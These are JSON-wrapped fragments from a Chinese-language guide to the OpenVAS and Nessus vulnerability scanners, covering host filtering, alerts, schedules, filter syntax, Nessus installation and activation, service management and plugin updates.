    {"text": "未知 15.3 查看典型主机 典型主机是指扫描任务中发现的主机，不包括用户手动添加的主机。这类主机往往包含与安全相关的信息，如严重漏洞、敏感文本信息等。下面将介绍查看典型主机的方法。 【实例15-4】 查看不同漏洞级别的主机。操作步骤如下： （1）在菜单栏中依次选择Assets|Hosts(Classic)命令，将显示主机过滤界面，如图15.9所示。 图15.9 主机过滤 （2）从主机过滤界面可以看到，默认没有过滤出匹配条件的主机。该界面包括Host Filtering和Filtered Hosts两部分。其中，Host Filtering部分用来设置主机过滤条件；Filtered Hosts部分用来显示过滤的主机。下面介绍用户可以设置的条件选项及含义。 ·Results per page：设置每页显示的结果数。 ·Text phrase：设置过滤的文本短语。 ·Severity：选择过滤的主机安全级别。 例如，这里将设置过滤文本短语为Test的主机，并且选择所有安全级别，如图15.10所示。 图15.10 设置过滤主机条件 （3）单击Apply按钮即可过滤出匹配的主机，如图15.11所示。 图15.11 过滤结果 （4）从如图15.11所示的结果中可以看到，成功过滤出一个典型主机，该主机的IP地址为192.168.198.131。单击IP地址，即可查看该主机的详细信息，如图15.12所示。 （5）如图15.12所示界面包括4部分，分别是Host Details(Classic)（典型主机详细信息）、Host Identification（主机标识）、Hardware（硬件）和Apps（应用程序）。从主机的详细信息中可以看到，该主机中开放了TCP的11个端口，如135、139、3389、445等。从主机的标识部分可以看到，扫描者的IP地址为192.168.198.131，MAC地址为00:0C:29:F2:19:F4。 图15.12 主机的详细信息 在kindle搜索B089Y82SSX可直接购买阅读 未知 第16章 高级维护 为了能够更好地使用OpenVAS服务，可以对其进行一些高级维护，如使用警报器和计划任务等。本章将介绍对OpenVAS进行高级维护的方法。 未知 16.1 使用警报器Alerts 警报器可以用来指定在什么情况下将发出警报，如扫描完成、存在严重漏洞级别等。本节将讲解如何使用警报器。 未知 3.1 安装Nessus工具 为了顺利地使用Nessus工具，必须要将该工具安装在操作系统中。Nessus工具不仅可以在计算机上使用，而且还可以在手机上使用。本节将介绍在不同操作系统平台上安装Nessus工具的方法。 未知 16.1.1 基本信息 在使用警报器之前，首先需要手动创建该报警器。在创建警报器时，需要设置的信息包括4部分，分别是基本信息、事件类型、触发条件和报告方式。下面将介绍警报器的基本信息。 基本信息是指警报器的名称、注释和报告过滤器，其在新建警报器对话框中进行设置（该对话框的打开方式将在16.1.5节中介绍），如图16.1所示。 图16.1 警报器的基本信息 下面介绍基本信息的配置选项及含义。 ·Name：指定警报器名称。 ·Commnet：设置注释信息。 ·Report Result Filter：指定报告结果过滤器。 未知 16.1.2 事件类型 事件是指发起警报的原因。在新建警报器对话框中，OpenVAS提供了两种事件类型，分别是运行状态事件和发现漏洞事件。下面将分别介绍如何设置每种事件类型。 1.运行状态事件 运行状态事件是指由扫描任务的运行状态改变而触发的事件，如新建扫描任务、停止扫描任务、运行扫描任务等。如果选择使用运行状态事件类型，则选中Task run status changed to单选按钮，如图16.2所示。 图16.2 运行状态事件 单击Done下拉列表框，可以选择扫描任务的运行状态。下面介绍OpenVAS，支持的运行状态及含义。 ·Done：扫描完成。 ·New：成功新建扫描任务。 ·Requested：请求开始实施扫描。 ·Running：正在实施扫描。 ·Stop Requested：停止请求扫描任务。 ·Stopped：停止扫描任务。 可以根据自己的需要，选择对应的运行状态值。 2.发现漏洞事件 发现漏洞事件是在目标主机新扫描出漏洞或者更新漏洞信息时发起的警报。如果选择使用发现漏洞事件类型，则选中Event栏中的第二个单选按钮，如图16.3所示。 图16.3 发现漏洞事件 在该事件类型中可以设置的选项有两个，第一个选项用来设置漏洞的状态；第二个选项用来设置漏洞的类型。单击第一个下拉列表框，可以选择的漏洞状态有New（新发现）和Updated（更新信息）；单击第二个下拉列表框，可以选择的漏洞类型包括NVTs、CVEs、CPEs、CERT-Bund Advisories、DFN-CERT Advisories和OVAl Definition。图16.3中的设置表示，发现NVT漏洞时发起警报。"},
    {"text": "未知 16.1.3 触发条件 触发条件是指事件在什么情况下才能触发警报器。其中，可以设置的触发条件有两个，分别是安全级别和过滤器。另外，用户可以不设置触发条件，选择总是启用警报器。下面将介绍设置触发条件的方法。 1.安全级别条件 安全级别条件是根据扫描出漏洞的安全级别值来判断是否触发警报。当选择的事件类型为运行状态时，可以设置安全级别触发条件。其中，用来设置安全级别条件的选项如图16.4所示。 图16.4 设置安全级别 从图16.4中可以看到，设置安全级别的选项有两个，分别是Severity at least和Severity level。 ·Severity at least：安全级别最少为N时启用。单击数量框中的增加/减少按钮，即可修改安全级别的值。 ·Severity level：安全级别变化时启用。单击下拉列表框，可以设置的值有changed（改变）、increased（递增）和decreased（减少）。 提示： 安全级别触发条件只有在事件类型为扫描任务运行状态时才可以选择设置。 2.过滤器条件 用户还可以使用过滤器触发条件。可以设置的过滤器选项如图16.5所示。 图16.5 设置过滤器触发条件 从图16.5中可以看到有两个过滤器配置选项。 ·Filter...matches at least...result(s)NVT(s)：当扫描的漏洞结果最少为N时启用警报。 ·Filter...matches at least...result(s)more than previous scan：当前扫描结果比前一次扫描结果至少多N个时启用警报。 3.总是启用 用户也可以不设置触发条件，即在任何情况下都启用警报器。选中Always单选按钮，即设置为总是启用警报器，如图16.6所示。 图16.6 总是启用警报器"},
    {"text": "单击该下拉列表框，即可选择报告方式，其中可以设置的报告方式有Email、HTTP Get、SCP、Send to host、SMB、SNMP、Sourcefire Connector、Start Task、System Logger、TippingPoint SMS和verinice.PRO Connector，如图16.7所示。"},
    {"text": "图16.7 设置报告方式 1.Email Email报告方式表示通过邮件的方式报告给用户。 选择Email报告方式后，可配置选项如图16.8所示。 图16.8 Email报告方式 下面介绍使用Email报告方式时需要配置的选项及含义。"},
    {"text": "可以选择的内容有Simple notice（简单通知）、Include report Anonymous XML with message（包括XML格式的报告和消息）和Attach report Anonymous XML with message（附加XML报告内容和消息）。"},
    {"text": "表16.1 在邮件主题中代替的内容 表16.2 在邮件消息中代替的内容 2.HTTP Get HTTP Get表示使用URL方式提交报告内容。 其中，使用HTTP提交方式时需要配置的选项为HTTP Get URL，即指定提交报告的URL，如图16.9所示。 图16.9 HTTP Get方式 在URL中，用户可以使用变量代替部分内容。"},
    {"text": "该选项可以指定一个列表文件，每行一个主机，格式为host protocol public_key，如localhost ssh-rsa AAAAB3NzaC1yc2EAAAADAQA BAAAB...P3pCquVb。"},
    {"text": "图16.11 Send to host方式 下面介绍使用Send to host方式时需要配置的选项及含义。 ·Send to host：指定发送到的主机地址。 ·on port：指定发送到的主机端口。"},
    {"text": "8.Start Task Start Task方式表示启动扫描任务列表中的一个扫描任务。 其中，该报告方式的配置选项为Start Task，即指定启动的扫描任务，如图16.15所示。 图16.15 Start Task方式 9.System Logger System Logger方式表示记录到系统。"},
    {"text": "未知 16.1.5 创建警报器 下面介绍创建警报器的方法。 【实例16-1】 新建警报器。操作步骤如下： （1）在菜单栏中依次选择Configuration|Alerts命令，打开警报器列表界面，如图16.19所示。 （2）从图16.19中可以看到，默认没有创建任何警报器。单击新建按钮 ，弹出新建警报器对话框，如图16.20所示。 （3）在如图16.20所示的对话框中配置警报器的信息。例如，这里将创建一个名为Network Alert的警报器，设置扫描任务运行完成后发起警报，并且漏洞安全级别为7.5，设置报告方式为Email，如图16.21所示。 图16.19 警报器列表 图16.20 新建警报器对话框 图16.21 设置的警报器信息 （4）单击Create按钮，即可成功创建警报器，如图16.22所示。 图16.22 警报器创建成功 （5）从图16.22可以看到，成功创建了名为Network Alert的警报器。当创建扫描任务时，便可以选择使用该警报器。 未知 16.2 使用计划任务Schedules 计划任务用来设置扫描任务的执行时间。通常情况下，扫描主机可能会影响正常工作，并且需要很长的时间。此时，用户可以通过使用计划任务，设置在指定时间执行任务，从而进行更有效的扫描。本节将介绍使用计划任务的方法。 【实例16-2】 新建计划任务。操作步骤如下： （1）在菜单栏中依次选择Configuration|Schedules命令，将显示计划任务列表，如图16.23所示。 图16.23 计划任务列表 （2）从计划列表界面中可以看到，默认没有任何计划任务。单击新建按钮 ，将弹出新建计划任务对话框，如图16.24所示。 图16.24 新建计划任务 （3）下面介绍新建计划任务中每个选项及含义。 ·Name：设置计划任务名称。 ·Comment：设置注释信息。 ·First Time：设置第一次启动时间。 ·Timezone：设置时区。 ·Period：设置周期。 ·Duration：设置持续时间。 例如，这里将创建一个名为Local Scan的计划任务，如图16.25所示。 图16.25 设置的计划任务信息 （4）单击Create按钮，即可成功创建计划任务，如图16.26所示。 图16.26 计划任务创建成功 （5）从图16.26可以看到，成功创建了一个名为Local Scan的计划任务。接下来，当创建扫描任务时，即可指定使用该计划任务。 未知 16.3 设置报告格式 OpenVAS默认提供了多种报告格式，用户可以对这些报告格式进行克隆、导出或验证。另外，如果用户不想使用默认的报告格式，还可以新建报告格式。本节将介绍设置报告格式的方法。 【实例16-3】 新建报告格式。操作步骤如下： （1）在菜单栏中依次选择Configuration|Formats命令，将显示报告格式列表，如图16.27所示。 图16.27 报告格式列表 （2）从图16.27可以看到，默认提供了15种报告格式。单击新建报告格式按钮 ，将弹出新建报告格式对话框，如图16.28所示。 图16.28 新建报告格式 （3）单击Browse按钮，选择导入的XML报告格式。然后单击Create按钮，即可成功导入报告格式。 未知 16.4 使用过滤器 过滤器用来过滤OpenVAS服务器中的所有列表信息。如果在某个列表中显示的内容较多，为了快速找到特定主机的漏洞信息，便可以使用过滤器进行过滤。其中，可以使用过滤器的功能有扫描过滤（如扫描任务、扫描结果、报告等）、资产过滤（如主机、操作系统等）和配置信息过滤（如目标、扫描配置等）等。本节将介绍过滤器的语法格式及如何使用过滤器。"},
    {"text": "未知 16.4.1 语法格式 OpenVAS过滤器由任意数量的空格分隔的关键字组成，如rows=10 first=1 sort=name。在OpenVAS中，可以使用的关键字有通用关键字、特殊关键字和时间关键字等。下面介绍所有的关键字及关键字之间的符号。 1.关系符号 关系符号用来表示关键字之间的关系。下面介绍可以使用的关系符号及含义。 ·=：等于。 ·~：包括。 ·<：小于。 ·>：大于。 ·:：匹配正则表达式。 在关键字中，包括空格的短语也可以使用双引号（\"\"）引用。通常情况下，指定的过滤器关键字都会使用列名，并且使用小写。如果列名是大写，并且包括空格时，可以使用下划线。例如，过滤Port List列，则可以使用“port_list=\"OpenVAS Default”过滤器。 2.通用关键字 在大多数页面可以使用以下通用字段来代替列名。 ·uuid：项目的UUID。 ·comment：项目的注释，通常被显示在列名。 ·modified：项目最后被修改的日期和时间。 ·created：项目被创建的日期和时间。 3.特殊关键字 在过滤器中，还可以使用以下特殊关键字。 ·and：表示关键字两边相等。 ·or：表示或，显示更多的信息。 ·not：表示否，获取关键字相反的信息。 ·regexp：使用正则表达式，表示关键字匹配该正则表达式。用户也可以使用re代替regexp关键字。 ·rows：过滤最大的行数，如rows=10。 ·first：设置起始项目的编号，如first=1。 ·sort：过滤排序的某列，如sort=name。 ·sort-reverse：过滤反向排序的列。 ·tag：过滤与该标签关联的项目。 ·owner：过滤指定用户的项目，如owner=user。 ·permission：过滤当前用户特定权限的条目，如permission=modify_task。 4.时间关键字 还可以使用时间关键字进行过滤。其中，日期可以用相对或绝对两种方式表示。其中，绝对日期格式为\"2012-05-03T13h00\"。例如，过滤修改时间在2012-05-03T13h00之后的条目，则语法为“modified>2012-05-03T13h00”。相对日期是相对当前时间的日期，如-7d表示7天前，3m表示未来的3分钟。例如，“created>-2w”表示创建在2周前的所有资源。 5.特殊资源关键字 对于一些特殊资源，可以使用特殊资源关键字表示。下面介绍一些特殊资源关键字。 ·Tasks,Reports,Results：过滤扫描任务、报告和结果可以使用关键字apply_overrides和min_qod。其中，apply_overrides表示结果是否设置有概要；min_qod表示过滤探测质量最少为N的结果。 ·Tasks：对于扫描任务，还可以使用关键字schedule和next_due。其中，schedule表示过滤扫描任务计划的名称；next_due表示过滤在下次运行时的扫描任务。 ·Results：对于扫描结果，还可以使用关键字autofp、levels、notes和overrides。其中，autofp表示过滤控制结果是否自动被标记为False Positive；1表示CVEs被标记关闭，并完全匹配；2表示部分匹配；levels表示根据安全级别过滤；notes表示过滤是否被标记的结果；overrides表示过滤是否包含概要的结果。 ·Notes：在Note详细信息页，还可以使用特定字段过滤。其中，可以使用的字段有Hosts、Port、Task（task_name和task_uuid）和Result。 ·Overrides：在Overrides详细信息页，也可以使用一些特定字段过滤。其中，可以使用的字段有Hosts、Port、Task（task_name和task_uuid）和Result。 ·Permissions：对于权限，可以使用orphan关键字过滤。例如，过滤orphaned权限，过滤器为orphan=1。 提示： 在OpenVAS中，默认使用的过滤器为rows=10 first=1 sort=name。该过滤器表示最多显示10个项目，从第一个项目开始显示，并且按Name列排序。"},
    {"text": "未知 16.4.2 使用过滤器 当对过滤器语法格式了解清楚后，便可以使用过滤器进行过滤。在所有功能中，过滤器的使用方法都相同，不同的是其语法关键字。 1.使用过滤器 下面介绍过滤器的使用方法。 【实例16-4】 在扫描任务中使用过滤器进行过滤。操作步骤如下： （1）在菜单栏中依次选择Scans|Tasks命令，打开扫描任务界面，如图16.29所示。 图16.29 扫描任务列表 （2）图16.29中使用OpenVAS的默认过滤器显示了匹配的所有结果。从该列表中可以看到，显示了6个扫描任务。在Filter文本框中，用户可以指定使用的过滤器。例如，过滤名称为windows的扫描任务，使用的过滤器如图16.30所示。 图16.30 使用过滤器 （3）单击更新过滤器按钮 ，即可应用该过滤器，如图16.31所示。 图16.31 过滤成功 （4）从图16.31可以看到，成功过滤出了名称为windows的扫描任务。如果用户想要取消过滤器，则单击重置过滤按钮 ，将重置为默认过滤器，即显示默认的内容。 2.编辑过滤器 还可以编辑默认的过滤器，或者创建新的过滤器。单击Filter文本框右侧的编辑按钮 ，将弹出更新过滤器对话框，如图16.32所示。 下面介绍该对话框中的设置选项及含义。 ·Filter：指定新的过滤器。 ·Apply overrides：是否应用概述。 ·QoD：设置探测质量，默认为70%。 ·First result：设置从第几个项目开始显示，默认为1。 ·Results per page：设置每页显示的结果数，默认为1000。 ·Sort by：设置排序的列，默认为Name列。其中，可以设置的值有Name、Status、Reports:Total、Reports:Last、Severity和Trend。 图16.32 更新过滤器 3.新建过滤器 如果不想使用默认过滤器，也可以创建新的过滤器并应用。下面介绍新建过滤器的方法。 【实例16-5】 新建过滤器。操作步骤如下： （1）在菜单栏中依次选择Configuration|Filters命令，将打开过滤器界面，如图16.33所示。 图16.33 过滤器列表 （2）单击新建按钮 ，将弹出新建过滤器对话框，如图16.34所示。 （3）从图16.34中可以看到有4个配置选项，其下面介绍每个选项及含义。 ·Name：指定过滤器名称。 ·Comment：设置注释。 ·Term：设置过滤项目。 图16.34 新建过滤器 ·Type：设置过滤器类型。其中，可以设置的类型有Agent、Alert、Asset、Credential、Filter、Group、Note、Override、Permission、Port List、Report、Report Format、Result、Role、Schedule、SecInfo、Scan Config、Tag、Target、Task和User。 例如，这里将创建一个名称为Windows的过滤器，并指定过滤项目为“qod=80%host=192.168.198.131”，类型为Result，如图16.35所示。 图16.35 过滤器配置信息 （4）单击Create按钮，即可成功创建过滤器，如图16.36所示。 图16.36 过滤器创建成功 （5）从图16.36可以看到，成功创建了一个名为Windows的过滤器。接下来，在Result列表中即可应用该过滤器。在菜单栏中依次选择Scans|Results命令，打开扫描结果界面，在选择过滤器下拉列表框中即可看到新创建的名为Windows的过滤器，如图16.37所示。 图16.37 选择过滤器下拉列表 （6）在如图16.37所示的下拉列表框中，“--”表示默认的过滤器，Windows是新建的过滤器。选择Windows选项，即可应用该过滤器，如图16.38所示。 图16.38 成功应用过滤器 （7）从如图16.38所示的界面可以看到，成功应用了选择的过滤器，并且过滤出了匹配的条目。从扫描结果列表中可以看到，所有结果的Host值都为192.168.198.131，QoD值都大于等于80%。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第1章 漏洞扫描基础知识 漏洞扫描是基于漏洞数据库，通过扫描等手段对指定的远程或者本地计算机系统进行安全脆弱性检测，从而发现可利用漏洞的一种手段。在实施漏洞扫描之前，本章先来介绍一些相关的基础知识，如漏洞扫描的概念、可使用的漏洞扫描工具及工作原理等。"},
    {"text": "未知 3.1.1 获取Nessus安装包 在安装Nessus工具之前，首先要获取该工具的安装包。而且，Nessus工具安装后，必须要激活才可以使用。下面分别介绍获取Nessus安装包和激活码的方法。 1.获取Nessus安装包 Nessus的官方下载地址为 https://www.tenable.com/downloads/nessus 。在浏览器中输入该地址，将打开如图3.1～3.3所示的页面。其中，图3.1为Nessus 8.x系列的下载地址；图3.2为Nessus 7.x系列的下载地址；图3.3为Nessus 6.x系列的下载地址。这三个系列的功能基本相同，只是小的功能有所差异。对于不同之处，后面会详细讲解。 提示： 在Nessus官网，Nessus 7.x系列的安装包也提供了两个版本，分别是7.23和7.15。 从这些页面可以看到，官网提供了Nessus工具在各种平台上的安装包，如Windows、macOS、Linux和FreeBSD等。用户可以根据自己的操作系统及架构，选择对应的安装包。例如，下载Nessus 8.x系列Windows 64位架构的安装包，则单击Nessus-8.8.0-x64.msi安装包，将弹出如图3.4所示的对话框。该对话框显示了下载Nessus安装包的许可证协议信息，这里单击I Agree按钮，即可开始下载。 图3.1 下载Nessus 8.x系列安装包 图3.2 下载Nessus7.x系列安装包 图3.3 下载Nessus 6.x系列安装包 图3.4 许可证协议对话框 2.获取激活码 在使用Nessus之前，必须先激活该服务才可使用。如果要激活Nessus服务，则需要到官网获取一个激活码。下面介绍获取激活码的方法。 （1）在浏览器中输入以下网址： http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code 成功访问该网址后，将打开如图3.5所示的页面。 图3.5 获取激活码 （2）在图3.5所示页面上单击Nessus Essentials下方的Register Now按钮，将显示如图3.6所示的页面。 图3.6 注册信息 （3）在图3.6所示页面的First Name和Last Name文本框中，用户可以任意填写，但是Email文本框中则必须填写一个合法的邮件地址，用来获取邮件。当以上信息设置完成后，单击Register按钮。接下来，将会在注册的邮箱中收到一份关于Nessus的邮件。进入邮箱打开收到的邮件，将会看到一串数字，类似于XXXX-XXXX-XXXX-XXXX，即激活码。 （4）当成功安装Nessus工具后，就可以使用以上获取到的激活码来激活该服务了。 提示： 从Nessus 8.5.0开始，在配置Nessus时，可以直接对该服务进行激活。所以，不提前获取激活码也可以。"},
    {"text": "如果用户希望安装到其他位置，则单击Change...按钮，选择其安装位置。 本例中使用默认的安装位置，单击Next按钮，将弹出准备安装对话框，如图3.10所示。"},
    {"text": "图3.9 选择安装位置对话框 图3.10 准备安装对话框 图3.11 安装向导完成对话框 图3.12 访问SSL （7）图3.12所示页面提示访问Nessus服务需要通过SSL协议，这里单击Connect via SSL链接，将打开如图3.13所示的页面。"},
    {"text": "（10）该页面显示了Nessus的所有版本，包括Nessus Essentials（Nessus免费版）、Nessus Professional（Nessus专业版）、Nessus Manager（Nessus管理台）和Managed Scanner（被管理的扫描器）。"},
    {"text": "设置完成后，单击Submit按钮，将开始下载Nessus中的插件，如图3.20所示。 图3.20 下载Nessus插件 提示： 由于Nessus插件是从国外网站下载的，所以如果网络不稳定，将会导致下载失败，如图3.21所示。 图3.21 下载失败 此时，只需在Nessus服务所在计算机的命令行终端运行nessuscli update命令即可，具体如下： root@Kali:~# /opt/nessus/sbin/nessuscli update --all 执行以上命令后，将开始下载Nessus插件。"},
    {"text": "执行如下命令： root@Kali:~# service nessusd restart $Shutting down Nessus : . $Starting Nessus : . 接下来，在浏览器的地址栏中输入 https://IP地址:8834/ ，将重新打开如图3.20所示的页面，并且开始下载Nessus插件。"},
    {"text": "（15）在图3.22所示对话框的Targets文本框中，可以指定一个扫描目标，用来发现活动的主机。 例如，指定扫描目标为192.168.80.0/24网段中的活动主机，如图3.23所示。 图3.23 指定扫描目标 （16）单击Submit按钮，将开始扫描指定的目标主机。 扫描完成后，将显示活动主机，如图3.24所示。 图3.24 扫描结果 （17）从图3.24所示对话框中可以看到扫描出的所有活动主机，如192.168.80.1、192.168.80.2、192.168.80.141等。"},
    {"text": "此时，返回扫描任务界面，即可看到有两个扫描任务，如图3.26所示。 图3.26 扫描任务列表 （19）从图3.26所示界面可以看到两个扫描任务，其名称分别为My Basic Network Scan和My Host Discovery Scan。"},
    {"text": "未知 3.1.3 在Linux下安装 下面将以Kali Linux为例，介绍在Linux下安装Nessus工具的方法。 【实例3-2】 在Kali Linux下安装Nessus工具。具体操作步骤如下： （1）从官网上下载安装包。本例中下载的安装包文件名为Nessus-8.8.0-debian6_amd64.deb。 （2）将下载的安装包复制到Kali Linux中，本例中复制到/root下。接下来就可以安装Nesus工具了，执行命令如下： root@daxueba:~# dpkg -i Nessus-8.8.0-debian6_amd64.deb 正在选中未选择的软件包nessus。 (正在读取数据库 ... 系统当前共安装了 407195 个文件和目录。) 准备解压 Nessus-8.8.0-debian6_amd64.deb ... 正在解压 nessus (8.8.0) ... 正在设置 nessus (8.8.0) ... Unpacking Nessus Scanner Core Components... - You can start Nessus Scanner by typing /etc/init.d/nessusd start - Then go to https://daxueba:8834/ to configure your scanner 正在处理用于 systemd (241-3) 的触发器 ... 看到输出以上信息，则表示Nessus工具安装完成。接下来，在浏览器的地址栏中输入 https://RHEL:8834/ 或 https://IP:8834 ，即可访问Nessus服务。 提示： 在Linux系统中，Nessus工具默认安装在/opt/nessus目录中。 同样，如果要在Linux下使用Nessus工具，也需要先激活该服务。其中，激活方法和Windows下的激活方法基本相同。唯一不同的是信任证书方式。下面介绍在Linux下激活Nessus服务的方法。 （1）在Kali Linux的浏览器地址栏中输入 https://IP:8834 ，访问Nessus服务。这里将使用本地回环地址127.0.0.1访问服务器，所以输入的地址为 https://127.0.0.1:8834/ ，将打开如图3.28所示的页面。 图3.28 连接不安全 注意： Nessus服务使用的是HTTPS协议，而不是HTTP协议。 （2）在图3.28所示页面中显示该连接不安全。这是因为Nessus是一个安全连接（HTTPS协议），所以需要被信任后才允许登录。此时，单击Advanced按钮，将显示如图3.29所示的页面。 图3.29 了解风险 （3）图3.29所示页面显示了该连接可能存在的风险。此时，单击Add Execption按钮，将显示如图3.30所示的对话框。 （4）在该对话框中单击Confirm Security Exception（确认安全例外）按钮，将显示如图3.31所示的页面。 图3.30 添加安全例外 图3.31 选择一个产品 （5）接下来，就和Windows下激活Nessus的方法一样了，这里不再赘述。 未知 3.2 配置Nessus 当成功安装Nessus工具后，即可使用该工具实施漏洞扫描。为了使用户更好地使用该工具，需要对该工具进行相关设置，如服务的启动、软件更新、用户管理等。本节将对Nessus服务的配置进行简单介绍。"},
    {"text": "未知 3.2.1 启动Nessus服务 Nessus服务安装后，默认是自动启动的。如果用户重启系统，或者进行其他操作时关闭了Nessus服务，则再次访问时必须要先启动该服务。下面将分别介绍在不同操作系统中启动Nessus服务的方法，以及更改Nessus服务监听的IP地址和端口号的方法。 1.Windows下启动Nessus服务 在Windows下启动Nessus服务的方法如下： （1）在Windows系统的“开始”菜单栏中选择“运行”命令，将弹出“运行”对话框，如图3.32所示。 图3.32 “运行”对话框 （2）在该对话框中输入“services.msc”，然后单击“确定”按钮，将打开“服务”窗口，如图3.33所示。 （3）在图3.33所示窗口中的“名称”列找到Tenable Nessus服务，即可管理该服务，如停止、启动或重新启动等。 图3.33 “服务”窗口 在Windows中，也可以通过命令行停止或启动Nessus服务。例如，停止Nessus服务的命令如下： C:\\Users\\Administrator>net stop \"Tenable Nessus\" Tenable Nessus 服务正在停止. Tenable Nessus 服务已成功停止. 从以上输出信息中，可以看到Nessus服务已成功停止。如果要启动Nessus服务，执行命令如下： C:\\Users\\Administrator>net start \"Tenable Nessus\" Tenable Nessus 服务正在启动 . Tenable Nessus 服务已经启动成功. 从以上输出信息中，可以看到Nessus服务已成功启动。 2.Linux下启动Nessus服务 在Linux下启动Nessus服务的命令如下： [root@RHEL ~]# service nessusd start 启动 Nessus 服务： [确定] 从以上输出信息中，可以看到Nessus服务已成功启动。如果用户不确定该服务是否已经启动，可以使用以下命令查看其状态： [root@RHEL ~]# service nessusd status nessusd (pid 5948) 正在运行... 从以上输出信息中，可以看到Nessus服务正在运行。 3.Kali Linux下启动Nessus服务 在早期的Kali Linux中安装Nessus服务后，将会在图形界面的菜单栏中出现启动（Nessus start）和停止（Nessus stop）该服务的命令。如果用户想要启动Nessus服务，则依次选择“应用程序”|“系统服务”|Nessus start命令即可。成功启动后，将弹出一个终端，并输出如下信息： Starting Nessus : . 看到以上输出信息，则表示成功启动了Nessus服务。如果想要停止Nessus服务，则依次选择“应用程序”|“系统服务”|Nessus stop命令即可。输出信息如下： Shutting down Nessus : . 看到以上输出信息，则表示成功停止了Nessus服务。 4.更改监听的IP地址和端口号 Nessus服务默认监听的IP地址为0.0.0.0，端口为8834，表示所有主机都可以访问该服务器。为了解决端口冲突或限制外网主机访问该服务器，可以修改监听的IP地址和端口号，方法如下： （1）在Nessus的主界面选择Settings|Advanced选项，打开高级设置界面，如图3.34所示。 （2）从该界面可以看到默认的所有设置。在该界面中共包括6个选项卡，分别是User Interface（用户接口）、Scanning（扫描）、Logging（登录）、Performance（性能）、Security（安全）和Miscellaneous（混杂的）。此时，用户选择相应的选项卡，即可对其中的选项进行设置。其中，用于修改监听的IP地址和端口号的选项为Nessus Web Server IP和Nessus Web Server Port，位于User Interface选项卡中。而且，从设置中可以看到，默认监听的地址为0.0.0.0，端口为8834。此时，单击这两个选项即可修改对应的值，如图3.35和图3.36所示。 （3）此时，用户即可修改Nessus服务监听的IP地址和端口号。修改完成后，单击Save按钮保存设置。例如，这里修改Nessus服务监听的IP地址为本机地址192.168.29.129。设置完成后，将显示如图3.37所示的界面。 图3.34 高级设置界面 图3.35 修改监听的IP地址 图3.36 修改监听的端口号 图3.37 修改监听的IP地址 （4）从图3.37所示界面可以看到，已更改Nessus服务监听的IP地址为192.168.29.129。如果用户想要重置为默认设置，单击重置按钮 即可。对于一些特定的选项，用户修改后还需要重新启动Nessus服务，否则修改的设置无法生效。其中，需要重新启动Nessus服务的配置项后面将显示一个提示按钮 。"},
    {"text": "未知 3.2.2 软件更新 为了能够使用Nessus进行一次成功的漏洞扫描，在扫描之前检查并且更新Nessus，以使用最新的插件是非常重要的，这样可以保证扫描到所有最新的漏洞。"},
    {"text": "图3.40 登录界面 （4）在图3.40所示界面中输入用于管理Nessus服务的用户名和密码，然后单击Sign In按钮，登录成功后，将显示如图3.41所示的界面。 图3.41 Nessus登录成功 （5）在图3.41所示界面中单击Settings选项，将打开设置界面，如图3.42所示。"},
    {"text": "图3.42 设置界面 （6）从图3.42所示界面中可以看到有4个选项卡，分别是Overview（概述）、License Utilization（许可证使用）、Software Update（软件更新）和Master Password（主密码）。"},
    {"text": "如果要进行软件更新，则选择Software Update选项卡，如图3.43所示。 （7）从该选项卡中可以看到在Automatic Updates（自动更新）选项区域中有三种更新方式，分别是Update all components（更新所有组件）、Update plugins（更新插件）和Disabled（禁止更新），用户可以选择任何一种更新方式。"},
    {"text": "在该界面中单击右上角的Manual Software Update（手动更新）按钮，将弹出如图3.44所示的对话框。 图3.43 软件更新设置 图3.44 手动更新软件 （8）这里也提供了三种更新方式，分别是Update all components（更新所有组件）、Update plugins（更新插件）和Upload your own plugin archive（上传自己的插件文档）。"},
    {"text": "当用户安装的Nessus版本较低并且可以更新时，将会出现更新提示，如图3.46所示。 图3.45 软件更新成功 图3.46 更新提示 从图3.46的提示信息中可以看到，Nessus有最新版，并且可以安装。"},
    {"text": "用户也可以使用离线更新方式，这种方式不需要Nessus服务必须连接到互联网。 下面将介绍离线更新的方式。 【实例3-4】 在Windows操作系统中离线更新Nessus插件。"},
    {"text": "（2）生成一个挑战码，执行命令如下： C:\\Program Files\\Tenable\\Nessus> nessuscli.exe fetch --challenge 执行以上命令后，显示效果如图3.48所示。"},
    {"text": "如果是在Linux系统中，执行命令如下： [root@localhost ~]# /opt/nessus/sbin/nessuscli fetch --challenge （3）从图3.48中可以看到生成了一个激活码。"},
    {"text": "图3.49 离线下载插件 提示： 图3.49获取到的是Nessus 6.3及更新版本的插件。 如果希望获取版本为6.3之前的插件，单击图中箭头指向的here链接，将会跳转到另一个页面，如图3.50所示。 图3.50 下载旧版本的插件 （4）在图3.50页面中的第一行文本框中输入步骤（2）中获取到的挑战码，在第二行文本框中输入获取到的激活码，然后单击Submit按钮，将显示插件下载页面，如图3.51所示。 图3.51 下载插件包 （5）单击图3.51中箭头所指的链接，即可下载最新的插件包，其安装包名为all-2.0.tar.gz。"},
    {"text": "接下来将离线更新插件文件，首先确认下许可协议信息，执行命令如下： nessuscli.exe fetch --register-offline nessus.license #接受许可协议 Your Activation Code has been registered properly - thank you. 从输出的信息可以看到，激活码被正确注册。 接下来将更新插件包，执行命令如下： nessuscli.exe update all-2.0.tar.gz #更新插件包 [info] Copying templates version 201911212121 to /opt/nessus/var/nessus/ templates/tmp [info] Finished copying templates. [info] Moved new templates with version 201911212121 from plugins dir. * Update successful. The changes will be automatically processed by Nessus. 看到以上输出信息，则表示插件更新完成。"},
    {"text": "其中，插件和软件更新设置的选项为Automatic Update Delay（自动更新间隔时间）、Automatic Updates（自动更新插件）和Automatically Update Nessus（自动更新Nessus），用户可以通过对这三个配置项进行修改来设置更新方式。 为了能使用到最新的插件和Nessus软件，建议使用默认设置，即进行自动更新。"},
    {"text": "双击Automatic Update Delay选项，即可修改自动更新间隔时间，如图3.53所示。 图3.52 混杂设置 图3.53 修改自动更新间隔时间 从图3.53所示对话框中可以看到，默认的更新时间间隔为24，单位为小时。"},
